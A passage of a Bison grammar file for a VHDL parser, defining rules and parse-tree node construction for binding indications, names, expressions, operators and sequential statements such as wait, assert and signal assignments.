$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
}
| generic_map_aspect {
$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = nullptr;
$$->pieces[1] = $1;
$$->pieces[2] = nullptr;
}
| KW_USE entity_aspect generic_map_aspect {
$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
}
| port_map_aspect {
$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
$$->pieces[2] = $1;
}
| KW_USE entity_aspect port_map_aspect {
$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = $3;
}
| generic_map_aspect port_map_aspect {
$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = nullptr;
$$->pieces[1] = $1;
$$->pieces[2] = $2;
}
| KW_USE entity_aspect generic_map_aspect port_map_aspect {
$$ = new VhdlParseTreeNode(PT_BINDING_INDICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
}
entity_aspect:
_entity_aspect_entity
| _entity_aspect_configuration
| KW_OPEN {
$$ = new VhdlParseTreeNode(PT_ENTITY_ASPECT_OPEN);
}
_entity_aspect_entity:
KW_ENTITY _simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_ENTITY_ASPECT_ENTITY);
$$->pieces[0] = $2;
}
| KW_ENTITY _simple_or_selected_name '(' identifier ')' {
$$ = new VhdlParseTreeNode(PT_ENTITY_ASPECT_ENTITY);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
_entity_aspect_configuration:
KW_CONFIGURATION _simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_ENTITY_ASPECT_CONFIGURATION);
$$->pieces[0] = $2;
}
_one_or_more_verification_unit_binding_indications:
verification_unit_binding_indication
| _one_or_more_verification_unit_binding_indications
verification_unit_binding_indication {
$$ = new VhdlParseTreeNode(
PT_VERIFICATION_UNIT_BINDING_INDICATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
verification_unit_binding_indication:
KW_USE KW_VUNIT _list_of_names ';' {
$$ = new VhdlParseTreeNode(PT_VERIFICATION_UNIT_BINDING_INDICATION);
$$->pieces[0] = $3;
}
/// Section 7.4
disconnection_specification:
KW_DISCONNECT guarded_signal_specification KW_AFTER expression ';' {
$$ = new VhdlParseTreeNode(PT_DISCONNECTION_SPECIFICATION);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
guarded_signal_specification:
signal_list ':' type_mark {
$$ = new VhdlParseTreeNode(PT_GUARDED_SIGNAL_SPECIFICATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
signal_list:
_list_of_names
| KW_OTHERS {
$$ = new VhdlParseTreeNode(PT_SIGNAL_LIST_OTHERS);
}
| KW_ALL {
$$ = new VhdlParseTreeNode(PT_SIGNAL_LIST_ALL);
}
////////////////////////////// Names, section 8 //////////////////////////////
// This is a super hacked up version of the name grammar production
// It accepts far more than it should. This will be disambiguated in a second
// pass that is not part of the (generated) parser.
name:
// We need to use this specialization rather than duplicating the contents
// in order to make the grammar not have some reduce/reduce conflicts.
function_name
| character_literal
| _hack_name_for_association_list
| _almost_attribute_name
| external_name
// We need this in order to be able to slice/select after a function call
// with => in it
prefix:
name
| _definitely_function_call
_hack_name_for_association_list:
// This handles anything that involves parentheses, including some things
// that are actually a "primary." It needs to be disambiguated later in
// second-stage parsing. However, it notably includes indexed and slice
// names.
prefix '(' _ambig_name_parens ')' {
$$ = new VhdlParseTreeNode(PT_NAME_AMBIG_PARENS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| slice_name
// A number of things require a list of names
_list_of_names:
name
| _list_of_names ',' name {
$$ = new VhdlParseTreeNode(PT_NAME_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// This is a specialization of "name" because a number of other rules do need
// to refer to only function names and not all sorts of other ridiculous
// maybe-a-names.
function_name:
_simple_or_selected_name
| string_literal // was operator_symbol
// This specialization is used for many <foo>_names in the grammar that refer
// to some type/entity/similar thing but not any arbitrary type of name.
// FIXME: This causes a whole bunch of shift/reduce conflicts
_simple_or_selected_name:
identifier // was simple_name
| selected_name
/// Section 8.3
selected_name:
prefix '.' suffix {
$$ = new VhdlParseTreeNode(PT_NAME_SELECTED);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
suffix:
identifier // was simple_name
| character_literal
| string_literal // was operator_symbol
| KW_ALL { $$ = new VhdlParseTreeNode(PT_TOK_ALL); }
/// Section 8.5
slice_name:
prefix '(' _almost_discrete_range ')' {
$$ = new VhdlParseTreeNode(PT_NAME_SLICE);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 8.6
// Note that we do not handle the possible occurrence of (expression) at the
// end because it is ambiguous with function calls. _ambig_name_parens should
// pick that up.
_almost_attribute_name:
prefix '\'' __attribute_kw_identifier_hack {
$$ = new VhdlParseTreeNode(PT_NAME_ATTRIBUTE);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| prefix signature '\'' __attribute_kw_identifier_hack {
$$ = new VhdlParseTreeNode(PT_NAME_ATTRIBUTE);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $2;
}
// Apparently these keywords are possible names of attributes
__attribute_kw_identifier_hack:
identifier
| KW_RANGE {
$$ = new VhdlParseTreeNode(PT_BASIC_ID);
$$->str = new std::string("range");
}
| KW_SUBTYPE{
$$ = new VhdlParseTreeNode(PT_BASIC_ID);
$$->str = new std::string("subtype");
}
// We need the actual attribute_name for range constraints. This introduces a
// S/R conflict.
attribute_name:
_almost_attribute_name
| _almost_attribute_name '(' expression ')' {
$$ = $1;
$$->pieces[3] = $3;
}
/// Section 8.7
external_name:
external_constant_name
| external_signal_name
| external_variable_name
external_constant_name:
DL_LL KW_CONSTANT external_pathname ':' subtype_indication DL_RR {
$$ = new VhdlParseTreeNode(PT_NAME_EXT_CONST);
$$->pieces[0] = $3;
$$->pieces[1] = $5;
}
external_signal_name:
DL_LL KW_SIGNAL external_pathname ':' subtype_indication DL_RR {
$$ = new VhdlParseTreeNode(PT_NAME_EXT_SIG);
$$->pieces[0] = $3;
$$->pieces[1] = $5;
}
external_variable_name:
DL_LL KW_VARIABLE external_pathname ':' subtype_indication DL_RR {
$$ = new VhdlParseTreeNode(PT_NAME_EXT_VAR);
$$->pieces[0] = $3;
$$->pieces[1] = $5;
}
external_pathname:
package_pathname
| absolute_pathname
| relative_pathname
package_pathname:
'@' identifier '.' _one_or_more_ids_dots '.' identifier {
$$ = new VhdlParseTreeNode(PT_PACKAGE_PATHNAME);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
}
_one_or_more_ids_dots:
identifier
| _one_or_more_ids_dots '.' identifier {
$$ = new VhdlParseTreeNode(PT_ID_LIST_REAL);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
absolute_pathname:
'.' partial_pathname {
$$ = new VhdlParseTreeNode(PT_ABSOLUTE_PATHNAME);
$$->pieces[0] = $2;
}
relative_pathname:
partial_pathname {
$$ = new VhdlParseTreeNode(PT_RELATIVE_PATHNAME);
$$->pieces[0] = $1;
$$->integer = 0;
}
| '^' '.' relative_pathname {
$$ = $3;
$$->integer++;
}
partial_pathname:
identifier {
$$ = new VhdlParseTreeNode(PT_PARTIAL_PATHNAME);
$$->pieces[0] = $1;
}
| _one_or_more_pathname_elements '.' identifier {
$$ = new VhdlParseTreeNode(PT_PARTIAL_PATHNAME);
$$->pieces[0] = $3;
$$->pieces[1] = $1;
}
_one_or_more_pathname_elements:
pathname_element
| _one_or_more_pathname_elements '.' pathname_element {
$$ = new VhdlParseTreeNode(PT_PATHNAME_ELEMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
pathname_element:
identifier
| identifier '(' expression ')' {
$$ = new VhdlParseTreeNode(PT_PATHNAME_ELEMENT_GENERATE_LABEL);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
_ambig_name_parens:
// This should handle indexed names, type conversions, some cases of
// function calls, and very few cases of slice names (subtype indications
// with neither a resolution indication nor a constraint?)
_one_or_more_expressions
_one_or_more_expressions:
expression
| _one_or_more_expressions ',' expression {
$$ = new VhdlParseTreeNode(PT_EXPRESSION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/////////////////////////// Expressions, section 9 ///////////////////////////
expression:
logical_expression
/// Section 9.2.9
| DL_QQ primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_COND;
$$->pieces[0] = $2;
}
/// Section 9.2.2
logical_expression:
relation
| logical_expression KW_AND relation {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_AND;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| logical_expression KW_OR relation {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_OR;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| logical_expression KW_XOR relation {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_XOR;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| relation KW_NAND relation {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_NAND;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| relation KW_NOR relation {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_NOR;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| logical_expression KW_XNOR relation {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_XNOR;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 9.2.3
relation:
shift_expression
| shift_expression '=' shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_EQ;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_NEQ shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_NEQ;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression '<' shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_LT;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_LEQ shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_LTE;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression '>' shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_GT;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_GEQ shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_GTE;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_MEQ shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MEQ;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_MNE shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MNE;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_MLT shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MLT;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_MLE shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MLE;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_MGT shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MGT;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| shift_expression DL_MGE shift_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MGE;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 9.2.4
shift_expression:
simple_expression
| simple_expression KW_SLL simple_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_SLL;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression KW_SRL simple_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_SRL;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression KW_SLA simple_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_SLA;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression KW_SRA simple_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_SRA;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression KW_ROL simple_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_ROL;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression KW_ROR simple_expression {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_ROR;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 9.2.5
simple_expression:
_term_with_sign
| simple_expression '+' term {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_ADD;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression '-' term {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_SUB;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| simple_expression '&' term {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_CONCAT;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 9.2.6
// FIXME: Check if this precedence is right
_term_with_sign:
term
| '+' term {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_ADD;
$$->pieces[0] = $2;
}
| '-' term {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_SUB;
$$->pieces[0] = $2;
}
/// Section 9.2.7
term:
factor
| term '*' factor {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MUL;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| term '/' factor {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_DIV;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| term KW_MOD factor {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_MOD;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| term KW_REM factor {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_REM;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 9.2.2, 9.2.8
factor:
primary
| primary DL_EXP primary {
$$ = new VhdlParseTreeNode(PT_BINARY_OPERATOR);
$$->op_type = OP_EXP;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| KW_ABS primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_ABS;
$$->pieces[0] = $2;
}
| KW_NOT primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_NOT;
$$->pieces[0] = $2;
}
| KW_AND primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_AND;
$$->pieces[0] = $2;
}
| KW_OR primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_OR;
$$->pieces[0] = $2;
}
| KW_NAND primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_NAND;
$$->pieces[0] = $2;
}
| KW_NOR primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_NOR;
$$->pieces[0] = $2;
}
| KW_XOR primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_XOR;
$$->pieces[0] = $2;
}
| KW_XNOR primary {
$$ = new VhdlParseTreeNode(PT_UNARY_OPERATOR);
$$->op_type = OP_XNOR;
$$->pieces[0] = $2;
}
/// Section 9.3
// Here is a hacked "primary" rule that relies on "name" to parse a bunch of
// stuff that will be disambiguated later
primary:
name
// literal is folded in
| numeric_literal
// enumeration and string literals already happen because of name
| bit_string_literal
| KW_NULL { $$ = new VhdlParseTreeNode(PT_LIT_NULL); }
| aggregate
// Some function_calls are handled by name
| _definitely_function_call
| qualified_expression
// type_conversion is caught by name
| allocator
| '(' expression ')' {
$$ = $2;
}
/// Section 9.3.2
numeric_literal:
abstract_literal
| _almost_physical_literal
/// Section 9.3.3
aggregate:
'(' _two_or_more_element_association ')' {
$$ = $2;
}
| '(' _must_have_choice_element_association ')' {
$$ = new VhdlParseTreeNode(PT_AGGREGATE);
$$->pieces[0] = nullptr;
$$->pieces[1] = $2;
}
_two_or_more_element_association:
element_association ',' element_association {
$$ = new VhdlParseTreeNode(PT_AGGREGATE);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
| _two_or_more_element_association ',' element_association {
$$ = new VhdlParseTreeNode(PT_AGGREGATE);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
element_association:
expression {
$$ = new VhdlParseTreeNode(PT_ELEMENT_ASSOCIATION);
$$->pieces[0] = $1;
}
| _must_have_choice_element_association
_must_have_choice_element_association:
choices DL_ARR expression {
$$ = new VhdlParseTreeNode(PT_ELEMENT_ASSOCIATION);
$$->pieces[0] = $3;
$$->pieces[1] = $1;
}
choices:
choice
| choices '|' choice {
$$ = new VhdlParseTreeNode(PT_CHOICES);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
choice:
simple_expression
| _almost_discrete_range
// simple_name is included in simple_expression
| KW_OTHERS {
$$ = new VhdlParseTreeNode(PT_CHOICES_OTHER);
}
/// Section 9.3.4
// Handles only function calls that contain "=>" in the parameters. Other ones
// are caught by "name".
_definitely_function_call:
function_name '(' _definitely_parameter_association_list ')' {
$$ = new VhdlParseTreeNode(PT_FUNCTION_CALL);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 9.3.5
qualified_expression:
type_mark '\'' '(' expression ')' {
$$ = new VhdlParseTreeNode(PT_QUALIFIED_EXPRESSION);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
}
| type_mark '\'' aggregate {
$$ = new VhdlParseTreeNode(PT_QUALIFIED_EXPRESSION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 9.3.7
allocator:
KW_NEW _allocator_subtype_indication {
$$ = new VhdlParseTreeNode(PT_ALLOCATOR);
$$->pieces[0] = $2;
}
| KW_NEW qualified_expression {
$$ = new VhdlParseTreeNode(PT_ALLOCATOR);
$$->pieces[0] = $2;
}
////////////////////// Sequential statements, section 10 //////////////////////
sequence_of_statements:
%empty
| _real_sequence_of_statements
// We need this or else the %empty can cause ambiguity.
_real_sequence_of_statements:
sequential_statement
| _real_sequence_of_statements sequential_statement {
$$ = new VhdlParseTreeNode(PT_SEQUENCE_OF_STATEMENTS);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
// Store line number information
sequential_statement: _sequential_statement { STORE_LOC($$, @$); }
_sequential_statement:
_real_sequential_statement ';'
| identifier ':' _real_sequential_statement ';' {
$$ = new VhdlParseTreeNode(PT_STATEMENT_LABEL);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
_real_sequential_statement:
wait_statement
| assertion_statement
| report_statement
| signal_assignment_statement
| variable_assignment_statement
| procedure_call_statement
| if_statement
| case_statement
| loop_statement
| next_statement
| exit_statement
| return_statement
| null_statement
/// Section 10.2
wait_statement:
KW_WAIT sensitivity_clause condition_clause timeout_clause {
$$ = new VhdlParseTreeNode(PT_WAIT_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
}
sensitivity_clause:
%empty
| KW_ON _list_of_names {
$$ = $2;
}
condition_clause:
%empty
| KW_UNTIL expression {
$$ = $2;
}
timeout_clause:
%empty
| KW_FOR expression {
$$ = $2;
}
/// Section 10.3
// Label and semicolon factored out
assertion_statement:
assertion
assertion:
KW_ASSERT expression {
$$ = new VhdlParseTreeNode(PT_ASSERTION_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
}
| KW_ASSERT expression KW_REPORT expression {
$$ = new VhdlParseTreeNode(PT_ASSERTION_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
}
| KW_ASSERT expression KW_SEVERITY expression {
$$ = new VhdlParseTreeNode(PT_ASSERTION_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = $4;
}
| KW_ASSERT expression KW_REPORT expression KW_SEVERITY expression {
$$ = new VhdlParseTreeNode(PT_ASSERTION_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
}
/// Section 10.4
report_statement:
KW_REPORT expression {
$$ = new VhdlParseTreeNode(PT_REPORT_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
| KW_REPORT expression KW_SEVERITY expression {
$$ = new VhdlParseTreeNode(PT_REPORT_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 10.5
signal_assignment_statement:
simple_signal_assignment
| conditional_signal_assignment
| selected_signal_assignment
/// Section 10.5.2
simple_signal_assignment:
simple_waveform_assignment
| simple_force_assignment
| simple_release_assignment
simple_waveform_assignment:
target DL_LEQ waveform {
$$ = new VhdlParseTreeNode(PT_SIMPLE_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
}
| target DL_LEQ delay_mechanism waveform {
$$ = new VhdlParseTreeNode(PT_SIMPLE_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $3;
}
simple_force_assignment:
target DL_LEQ KW_FORCE expression {
$$ = new VhdlParseTreeNode(PT_SIMPLE_FORCE_ASSIGNMENT);
$$->force_mode = FORCE_UNSPEC;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
}
| target DL_LEQ KW_FORCE KW_IN expression {
$$ = new VhdlParseTreeNode(PT_SIMPLE_FORCE_ASSIGNMENT);
$$->force_mode = FORCE_IN;
$$->pieces[0] = $1;
$$->pieces[1] = $5;
}
| target DL_LEQ KW_FORCE KW_OUT expression {
$$ = new VhdlParseTreeNode(PT_SIMPLE_FORCE_ASSIGNMENT);
$$->force_mode = FORCE_OUT;
$$->pieces[0] = $1;
$$->pieces[1] = $5;
}
simple_release_assignment:
target DL_LEQ KW_RELEASE {
$$ = new VhdlParseTreeNode(PT_SIMPLE_RELEASE_ASSIGNMENT);
$$->force_mode = FORCE_UNSPEC;
$$->pieces[0] = $1;
}
| target DL_LEQ KW_RELEASE KW_IN {
$$ = new VhdlParseTreeNode(PT_SIMPLE_RELEASE_ASSIGNMENT);
$$->force_mode = FORCE_IN;
$$->pieces[0] = $1;
}
| target DL_LEQ KW_RELEASE KW_OUT {
$$ = new VhdlParseTreeNode(PT_SIMPLE_RELEASE_ASSIGNMENT);
$$->force_mode = FORCE_OUT;
$$->pieces[0] = $1;
}
delay_mechanism:
KW_TRANSPORT {
$$ = new VhdlParseTreeNode(PT_DELAY_TRANSPORT);
}
| KW_INERTIAL {
$$ = new VhdlParseTreeNode(PT_DELAY_INERTIAL);
$$->pieces[0] = nullptr;
}
| KW_REJECT expression KW_INERTIAL {
$$ = new VhdlParseTreeNode(PT_DELAY_INERTIAL);
$$->pieces[0] = $2;
}
target:
name
| aggregate
waveform:
KW_UNAFFECTED {
$$ = new VhdlParseTreeNode(PT_WAVEFORM_UNAFFECTED);
}
| _one_or_more_waveform_elements
_one_or_more_waveform_elements:
waveform_element
| _one_or_more_waveform_elements ',' waveform_element {
$$ = new VhdlParseTreeNode(PT_WAVEFORM);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
waveform_element:
expression {
$$ = new VhdlParseTreeNode(PT_WAVEFORM_ELEMENT);
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
}
| expression KW_AFTER expression {
$$ = new VhdlParseTreeNode(PT_WAVEFORM_ELEMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
// null gets included in expression
/// Section 10.5.3
conditional_signal_assignment:
conditional_waveform_assignment
| conditional_force_assignment
conditional_waveform_assignment:
target DL_LEQ conditional_waveforms {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
}
| target DL_LEQ delay_mechanism conditional_waveforms {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $3;
}
conditional_waveforms:
waveform KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_WAVEFORMS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| waveform KW_WHEN expression KW_ELSE waveform {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_WAVEFORMS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = $5;
}
| waveform KW_WHEN expression _one_or_more_conditional_waveform_elses
KW_ELSE waveform {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_WAVEFORMS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
$$->pieces[3] = $6;
}
_one_or_more_conditional_waveform_elses:
_conditional_waveform_else
| _one_or_more_conditional_waveform_elses _conditional_waveform_else {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_WAVEFORM_ELSE_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
_conditional_waveform_else:
KW_ELSE waveform KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_WAVEFORM_ELSE);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
conditional_force_assignment:
target DL_LEQ KW_FORCE conditional_expressions {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_FORCE_ASSIGNMENT);
$$->force_mode = FORCE_UNSPEC;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
}
| target DL_LEQ KW_FORCE KW_IN conditional_expressions {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_FORCE_ASSIGNMENT);
$$->force_mode = FORCE_IN;
$$->pieces[0] = $1;
$$->pieces[1] = $5;
}
| target DL_LEQ KW_FORCE KW_OUT conditional_expressions {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_FORCE_ASSIGNMENT);
$$->force_mode = FORCE_OUT;
$$->pieces[0] = $1;
$$->pieces[1] = $5;
}
conditional_expressions:
expression KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_EXPRESSIONS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| expression KW_WHEN expression KW_ELSE expression {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_EXPRESSIONS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = $5;
}
| expression KW_WHEN expression _one_or_more_conditional_expression_elses
KW_ELSE expression {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_EXPRESSIONS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
$$->pieces[3] = $6;
}
_one_or_more_conditional_expression_elses:
_conditional_expression_else
| _one_or_more_conditional_expression_elses _conditional_expression_else {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_EXPRESSION_ELSE_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
_conditional_expression_else:
KW_ELSE expression KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_EXPRESSION_ELSE);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 10.5.4
selected_signal_assignment:
selected_waveform_assignment
| selected_force_assignment
selected_waveform_assignment:
KW_WITH expression KW_SELECT target DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_SELECTED_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
$$->boolean = false;
}
| KW_WITH expression KW_SELECT '?' target DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_SELECTED_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $7;
$$->pieces[3] = nullptr;
$$->boolean = true;
}
| KW_WITH expression KW_SELECT
target DL_LEQ delay_mechanism selected_waveforms {
$$ = new VhdlParseTreeNode(PT_SELECTED_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $7;
$$->pieces[3] = $6;
$$->boolean = false;
}
